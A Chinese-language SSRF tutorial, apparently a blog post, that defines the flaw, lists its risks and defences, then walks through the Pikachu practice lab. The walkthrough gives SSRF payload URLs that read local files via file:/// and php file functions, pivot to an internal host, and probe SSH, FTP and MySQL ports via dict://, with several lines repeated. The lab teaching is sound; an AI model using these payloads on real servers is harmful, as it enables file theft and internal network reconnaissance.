漏洞原理SSRF漏洞 服务器请求伪造
SSRF(Server Side Request Forgery)是一种服务器端请求伪造漏洞。它允许攻击者利用后端服务器来发送未经授权的请求。攻击者可以通过修改请求的目标地址,将请求发送到内部网络或其他受信任的服务器上,从而绕过防火墙和访问控制。
SSRF漏洞的危害性很高,可能导致以下问题:
1. 内网扫描:攻击者可以利用SSRF漏洞扫描目标服务器所在的内部网络,并发现其他潜在的漏洞。
2. 攻击内部服务:攻击者可以利用SSRF漏洞访问和攻击内部的敏感服务,如数据库、文件系统、配置文件等。
3. 绕过安全控制:攻击者可以利用SSRF漏洞绕过防火墙或其他访问控制措施,直接访问内部网络。
为了防止SSRF漏洞的攻击,可以采取以下一些措施:
1. 验证用户输入:对于用户输入的URL参数,应该进行验证和过滤,只允许合法的URL进行请求。
2. 白名单控制:限制服务器仅能请求特定的URL,或者限制服务器只能访问内网的合法IP和域名。
3. 利用安全沙盒:将服务器进行隔离,限制其访问能力,避免攻击者通过SSRF漏洞访问敏感服务。
4.禁用危险协议和IP:禁用危险的协议和IP,如file、gopher、localhost等。
总之,对于应用程序开发人员来说,应该意识到SSRF漏洞的危害性,并采取相应的措施来防止和修复这种漏洞。
1.在后端php代码中使用curl_exec函数
1> 可以访问pikechu提供的url,并返回文章的内容,注意url:
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://www.baidu.com
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php**
2> 修改为百度/京东/淘宝这样的第三方服务器地址
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=http://www.baidu.com**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=https://www.jd.com**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=https://www.taobao.com**
3> 如果在后端php代码中,没有对url参数进行限制,我们可以访问内网服务器。假设内网服务器地址是:192.168.10.143。我们以pikachu这个服务器为跳板机去访问内网服务器。
http://192.168.56.1
**http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://192.168.10.143**
curl支持的协议非常多,产生的漏洞的危害很大。
4> 读文件file:///, 端口服务信息探测 dict://
- http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=file:///c:/windows/win.ini
- http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.56.1:22
- http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.56.1:21
- http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.56.1:3306
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=file:///c:/windows/win.ini**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:22**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:21**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:3306**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=file:///c:/windows/win.ini**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:22**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:21**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?**url=dict://192.168.10.143:3306**
5> .在后端php代码中使用file_get_content函数
读取文件内容:
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=**c:/windows/win.ini**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=**http://192.168.10.143**
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=**http://127.0.0.1/phpinfo.php**